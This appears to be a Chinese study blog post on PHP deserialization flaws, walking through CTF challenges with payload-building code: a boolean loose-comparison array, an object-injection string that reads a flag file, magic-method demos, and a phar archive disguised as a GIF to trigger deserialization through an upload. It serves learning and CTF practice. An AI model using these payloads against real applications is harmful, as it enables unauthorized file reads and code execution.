反序列化学习
我懒得自己写了,基本都是某个表哥写的,表哥的文章在最下面,部分我进行了自己的分析和理解。
serialize() 把变量和它们的值编码成文本形式
unserialize() 恢复原先变量
反序列化漏洞
unserialize() 的参数可控时,通过传入一个特意构造好的的序列化字符串,从而控制对象内部的变量甚至是函数以进行非法操作。
某个反序列化demo
<?php
class Point
{
public $x = 1;
public $y = 2;
public function show()
{
echo ('point is ('.$this->x.','.$this->y.')'."<br>");
}
}
$a = array();
$a['id'] = '1';
$a['name'] = 'user';
$a['pwd'] = '123';
var_dump($a);
echo ("<br>");
$b = serialize($a);
var_dump($b);
$c = unserialize($b);
echo ('<br>');
var_dump($c);
$p1 = @new Point();
echo ('<br>');
$p1->show();
echo @serialize(p1);
?>
运行结果如下:
array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
string(65) "a:3:{s:2:"id";s:1:"1";s:4:"name";s:4:"user";s:3:"pwd";s:3:"123";}"
array(3) { ["id"]=> string(1) "1" ["name"]=> string(4) "user" ["pwd"]=> string(3) "123" }
point is (1,2)
s:2:"p1";
0x01. 利用普通变量或方法
题目1
实验吧有一题如下:http://ctf5.shiyanbar.com/10/web1/index.php
如图:
查看源码如图:得到提示,需要提交一个字符串给username,使其进过md5加密之后与0比较的结果为真,可以选取字符串QNKCDZO,具体分析可以参考我这篇文章中https://www.cnblogs.com/v01cano/p/11890184.html的md5 collision题。
传入字符串QNKCDZO给username后得到如下提示:
接着访问/user.php?fame=hjkleffifer,查看源码得到如下提示:
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{
print_r($flag);
}
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年
根据提示,成也布尔,败也布尔。布尔类型的true跟任意字符串在‘==’下成立,根据这个我们就构造了生成payload的php代码如下:
<?php
$a=array('user'=>true,'pass'=>true);
$b=serialize($a);
var_dump($b);
?>
直接运行此代码,即可生成如下payload: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
我们直接将payload传递给password即可成功获取flag:
题目2
首先利用题目的任意文件读取漏洞获取index.php和showimg.php的源码:
index.php源码如下:
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
showimg.php源码如下:
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
由于index.php中包含了shield.php,所以此处也读取该文件:
shield.php源码如下:
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
在shield.php中得到提示flag is in pctf.php,但是在showimg.php中对pctf有过滤,于是只能从index.php下手,于是利用序列化漏洞,构造了如下payload生成代码:
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x = new Shield('pctf.php');
echo serialize($x);
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
运行结果如下:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
直接将该payload传递给class参数,即可得到flag:
0x02. PHP: Magic function
除利用普通变量或方法外还可以利用Magic function(魔术方法)进行反序列化攻击,有关魔术方法:http://php.net/manual/zh/language.oop5.magic.php
__construct()
:当对象创建(new)时会自动调用,注意在
unserialize()时并不会自动调用
__destruct()
:对象被销毁时会自动调用
__sleep()
: serialize()时会先被调用
__wakeup()
:unserialize()时会先被调用
其他
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
__construct()
与__destruct()
:
<?php
class demo
{
public $test_v1 = 'function';
function __construct()
{
echo $this->test_v1."<br>";
}
function __destruct()
{
echo $this->test_v1."<br>";
}
}
$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
unserialize($s);
$demo2 = new demo();
?>
输出:
phpinfo()
function
function
__sleep()
与__wakeup()
<?php
class demo
{
public $test_v1 = 'function';
function __sleep()
{
echo "serialize<br>";
}
function __wakeup()
{
echo "unserialize<br>";
}
}
$s = serialize(new demo());
$s = 'O:4:"demo":1:{s:7:"test_v1";s:9:"phpinfo()";}';
unserialize($s);
//$demo2 = new demo();
?>
输出:
serialize
unserialize
0x03. phar文件通过phar://伪协议进行反序列化
因为phar文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/
受影响文件系统函数 | |||
---|---|---|---|
fileatime | filectime | file_exists | file_get_contents |
file_put_contents | file | filegroup | fopen |
fileinode | filemtime | fileowner | fileperms |
is_dir | is_executable | is_file | is_link |
is_readable | is_writable | is_writeable | parse_ini_file |
copy | unlink | stat | readfile |
假设file参数可控,传入phar://demo.phar
demo.php
<?php
class demo {
public $demo_v='NULL';
public function __destruct()
{
echo $this->demo_v."<br>";
}
}
$file = 'phar://demo.phar';
file_get_contents($file);
?>
php脚本构造demo.phar利用以上代码的demo类输出其他字符串
payload.php
<?php
class demo {
public $demo_v='phpinfo()';
public function __destruct()
{
echo $this->demo_v."<br>";
}
}
$phar = new Phar("demo.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$obj = new demo();
$phar->setMetadata($obj);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
Example:
先是一个文件上传,在flag.php中有以下内容
$recieve = $_GET['filename'];
class flag{
var $file;
private $flag = '****';
function __destruct(){
if ($this->file == 'phar'){
echo $this->flag;
}
}
}
file_get_contents($recieve);
本地生成phar文件伪装gif,再phar伪协议触发php反序列化
<?php
class flag{
var $file = 'phar';
}
$a = serialize(new flag());
var_dump($a);
$b = unserialize($a);
$p = new Phar('./pp.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('pp.phar', 'pp.gif')
?>
上传访问flag.php?filename=phar://upload_file/pp.gif
得到flag
0x03有点没搞懂,下次仔细看看,最近搞免杀马,顺便看到了这个而已。
reference: